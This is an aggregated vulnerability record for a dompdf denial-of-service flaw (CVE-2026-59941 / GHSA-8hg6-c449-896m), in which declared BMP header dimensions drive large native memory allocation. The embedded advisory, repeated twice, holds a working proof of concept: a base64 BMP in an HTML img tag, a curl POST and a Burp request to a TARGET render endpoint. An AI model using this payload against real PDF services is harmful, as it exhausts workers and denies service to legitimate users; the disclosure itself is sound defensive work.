{"id":"CVE-2026-59941","aliases":["CLSA-2026-1786371522","CLSA-2026-1787223739","CLSA-2026-1787828763","DEBIAN-CVE-2026-59941","EUVD-2026-50061","GHSA-8hg6-c449-896m","UBUNTU-CVE-2026-59941"],"status":"published","title":"Dompdf: Uncontrolled resource consumption based on declared BMP dimensions","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00644,"percentile":0.51209,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-400"],"published":"2026-07-22T22:50:34Z","modified":"2026-10-28T02:30:49Z","exploits":[{"source":"pocgithub","id":"far00t01/CVE-2026-59941","title":"far00t01/CVE-2026-59941","date":"2026-08-02","url":"https://github.com/far00t01/CVE-2026-59941"}],"fixes":[{"ecosystem":"Packagist","package":"dompdf/dompdf","fixed_in":["3.1.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0"},{"fixed":"3.1.0-p1+tuxcare"}]}],"versions":["3.1.0"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v1.2.2"},{"fixed":"1.2.2-p2+tuxcare"}]}],"versions":["1.2.2-p1+tuxcare","v1.2.2"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.6"},{"fixed":"0.8.6-p2+tuxcare"}]}],"versions":["0.8.6","0.8.6-p1+tuxcare"],"bundled":6},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.3+dfsg-1","2.0.3+dfsg-1+deb12u1","2.0.3+dfsg-2","2.0.3+dfsg-3","2.0.3+dfsg-4","2.0.4+dfsg-1","2.0.4+dfsg-2","2.0.7+dfsg-1","3.0.0+dfsg-1","3.0.0+dfsg-2","3.0.1+dfsg-1","3.0.2+dfsg-1","3.1.0+dfsg-1","3.1.4+dfsg-1","3.1.4+dfsg-2"]},{"source":"osv","ecosystem":"Packagist","package":"dompdf/dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.1+dfsg-2","0.6.1+dfsg-2build1","0.6.1+dfsg-2ubuntu1","0.6.1+dfsg-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3","0.6.2+dfsg-3ubuntu0.18.04.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3","0.6.2+dfsg-3ubuntu0.20.04.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"php-dompdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.2+dfsg-3.1","0.6.2+dfsg-3.1ubuntu0.1"]}],"products":[{"vendor":"dompdf","product":"dompdf"},{"vendor":"dompdf_project","product":"dompdf"}],"references":[{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-8hg6-c449-896m","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://github.com/advisories/GHSA-8hg6-c449-896m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59941.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59941","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59941","tags":["advisory"]},{"url":"https://github.com/dompdf/dompdf","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-59941","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59941","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-59941","title":"Dompdf: Uncontrolled resource consumption based on declared BMP dimensions","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:42:57.01Z","modified":"2026-07-29T12:41:45.875Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:19:58.944663Z"}],"euvd":[{"id":"EUVD-2026-50061","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:42:57Z","modified":"2026-07-29T12:41:45Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:02:30.152277Z"}],"ghsa":[{"id":"GHSA-8hg6-c449-896m","title":"Dompdf: Uncontrolled resource consumption based on declared BMP dimensions","description":"### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone — no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n    throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n    $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n    $width  = (int) $meta[\"width\"];\n    $height = (int) $meta[\"height\"];\n    $type   = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869  — native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n    return $im;\n}\n// src/Helpers.php:940  — hand-rolled fallback\n$im = imagecreatetruecolor($meta['width'], $meta['height']);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,…\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas — via the native `imagecreatefrombmp()` on PHP ≥ 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000×6000`. The CSS `width:1px;height:1px` does not help the defender — the intrinsic decode happens regardless.)\n \n### 1 — Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize  =\u003e 6000x6000 type=bmp\nimagecreatefrombmp   =\u003e GdImage 6000x6000   (allocated from a 58-byte file)\nMaximum resident set size: 160 MB        (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB           \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so `memory_limit` does not bound it.\n \n### 2 — Full `Dompdf::render()`\n \n```\ndeclared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB\ndeclared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB\n```\n \n### 3 — HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n  --data-binary '\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e' \\\n  -o /dev/null -w 'http=%{http_code} time=%{time_total}s\\n'\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker's `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000  request=169 B  -\u003e 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s\n[CONTROL] declared 10x10      request=169 B  -\u003e 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width × height`, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.","status":"published","published":"2026-07-22T22:50:34Z","modified":"2026-07-22T22:50:35Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:40:51.375752Z"}],"nvd":[{"id":"CVE-2026-59941","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:29.003Z","modified":"2026-08-04T16:34:42.657Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:33.629616Z"}],"osv":[{"id":"CVE-2026-59941","title":"Dompdf: Uncontrolled resource consumption based on declared BMP dimensions","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T20:42:57.01Z","modified":"2026-10-28T02:30:49.446517357Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"DEBIAN-CVE-2026-59941","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:29.003Z","modified":"2026-10-01T03:03:28.517571989Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-8hg6-c449-896m","title":"Dompdf: Uncontrolled resource consumption based on declared BMP dimensions","description":"### Summary\n\ndompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas.\n \nA payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a **169-byte** request drove dompdf to render to **~412 MB peak RSS and ~4.8 s** of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.\n\n\n### Details\n## Root cause\n \nThe image is processed based on declared dimensions and type alone — no pixel budget:\n \n```php\n// src/Image/Cache.php:131-134\nlist($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options-\u003egetHttpContext());\nif (($width \u0026\u0026 $height \u0026\u0026 in_array($type, [\"gif\",\"png\",\"jpeg\",\"bmp\",\"svg\",\"webp\"], true)) === false) {\n    throw new ImageException(\"Image type unknown\", E_WARNING);\n}\n```\n \nFor BMPs that `getimagesize()` does not fully parse, dompdf trusts the raw header fields:\n \n```php\n// src/Helpers.php:833-837\nif (substr($data, 0, 2) === \"BM\") {\n    $meta = unpack(\"vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight\", $data);\n    $width  = (int) $meta[\"width\"];\n    $height = (int) $meta[\"height\"];\n    $type   = \"bmp\";\n}\n```\n \nAt conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:\n \n```php\n// src/Helpers.php:868-869  — native decoder is tried FIRST on PHP \u003e= 7.2\nif (function_exists(\"imagecreatefrombmp\") \u0026\u0026 ($im = imagecreatefrombmp($filename)) !== false) {\n    return $im;\n}\n// src/Helpers.php:940  — hand-rolled fallback\n$im = imagecreatetruecolor($meta['width'], $meta['height']);\n```\n \nThere is no maximum width/height or maximum total-pixel guard anywhere on this path.\n \n## Source-to-sink\n \n1. Attacker HTML reaches `Dompdf::loadHtml()` with `\u003cimg src=\"data:image/bmp;base64,…\"\u003e` (or any BMP `src`).\n2. `Dompdf::render()` decorates frames; `Frame\\Factory` marks `\u003cimg\u003e` as an image; `FrameDecorator\\Image` calls `Image\\Cache::resolve_url()`.\n3. `Image\\Cache::resolve_url()` accepts the BMP on declared dimensions/type (`src/Image/Cache.php:131-134`).\n4. During render, `Adapter\\CPDF::image()` identifies the BMP and calls `_convert_to_png()` (`src/Adapter/CPDF.php:593`).\n5. `_convert_to_png()` invokes `Helpers::imagecreatefrombmp()`, which allocates the full canvas — via the native `imagecreatefrombmp()` on PHP ≥ 7.2, or the hand-rolled `imagecreatetruecolor()` fallback otherwise.\n\n### PoC\nerified against dompdf @ `a6ddc4f` on PHP 8.3.6 with GD enabled.\n \nThe crafted BMP is 58 bytes: a 14-byte file header + 40-byte `BITMAPINFOHEADER` declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:\n \n```\n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \n(The base64 above decodes to a 58-byte BMP declaring `6000×6000`. The CSS `width:1px;height:1px` does not help the defender — the intrinsic decode happens regardless.)\n \n### 1 — Direct conversion\n \n```\nnative imagecreatefrombmp exists: yes\ndompdf_getimagesize  =\u003e 6000x6000 type=bmp\nimagecreatefrombmp   =\u003e GdImage 6000x6000   (allocated from a 58-byte file)\nMaximum resident set size: 160 MB        (10x10 control: 24 MB)\nphp_peak (PHP-managed): 0.8 MB           \u003c-- GD memory is native; PHP memory_limit does NOT cap it\n```\n \nThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so `memory_limit` does not bound it.\n \n### 2 — Full `Dompdf::render()`\n \n```\ndeclared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB\ndeclared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB\n```\n \n### 3 — HTTP reproduction (curl / Burp)\n \nReproduced against a minimal PDF endpoint (`server.php`, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets `isRemoteEnabled=false`; the attack still works because `data:` URIs are an allowed protocol by default and need no remote fetch.\n \ncurl:\n```bash\ncurl -s -X POST \"https://TARGET/render\" \\\n  --data-binary '\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e' \\\n  -o /dev/null -w 'http=%{http_code} time=%{time_total}s\\n'\n```\n \nBurp Repeater (enable \"Update Content-Length\"):\n```\nPOST /render HTTP/1.1\nHost: TARGET\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: text/html\nConnection: close\n \n\u003chtml\u003e\u003cbody\u003e\u003cimg src=\"data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" style=\"width:1px;height:1px\"\u003e\u003c/body\u003e\u003c/html\u003e\n```\n \nObserved (peak RSS read from the worker's `/proc/\u003cpid\u003e/status` `VmHWM`, each on a fresh worker so the high-water mark is per-request):\n \n```\n[ATTACK ] declared 6000x6000  request=169 B  -\u003e 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s\n[CONTROL] declared 10x10      request=169 B  -\u003e 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall \u003c0.1 s\n```\n \nTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared `width × height`, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).\n\n## Impact\n \nA single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request `memory_limit` does **not** contain it.\n\n**Caveat:** this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.","status":"published","published":"2026-07-22T22:50:34Z","modified":"2026-07-22T23:11:43.568733Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"UBUNTU-CVE-2026-59941","description":"Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior accept a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. I measured a 169-byte request driving a dompdf render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated. This issue has been fixed in version 3.16.","status":"published","published":"2026-07-28T21:17:00Z","modified":"2026-08-06T03:10:22.694727216Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:41.911783Z"},{"id":"CLSA-2026-1786371522","title":"TuxCare security update for dompdf/dompdf (5 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 5 CVEs. Fixed in 3.1.0-p1+tuxcare.","status":"published","published":"2026-08-10T14:18:42Z","modified":"2026-10-15T09:47:59.563303864Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1787223739","title":"TuxCare security update for dompdf/dompdf (6 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 1.2.2-p2+tuxcare.","status":"published","published":"2026-08-20T11:02:19Z","modified":"2026-10-15T09:47:59.780850196Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787828763","title":"TuxCare security update for dompdf/dompdf (6 CVEs)","description":"TuxCare rebuilt dompdf/dompdf to address 6 CVEs. Fixed in 0.8.6-p2+tuxcare.","status":"published","published":"2026-08-27T11:06:03Z","modified":"2026-10-15T09:48:00.438367298Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}
